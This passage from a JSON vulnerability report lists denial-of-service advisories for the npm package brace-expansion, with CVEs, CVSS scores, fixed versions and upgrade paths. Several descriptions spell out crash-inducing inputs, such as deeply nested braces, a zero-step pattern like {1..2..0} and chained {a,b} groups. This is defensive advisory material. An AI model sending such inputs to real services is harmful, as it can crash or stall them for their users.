"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
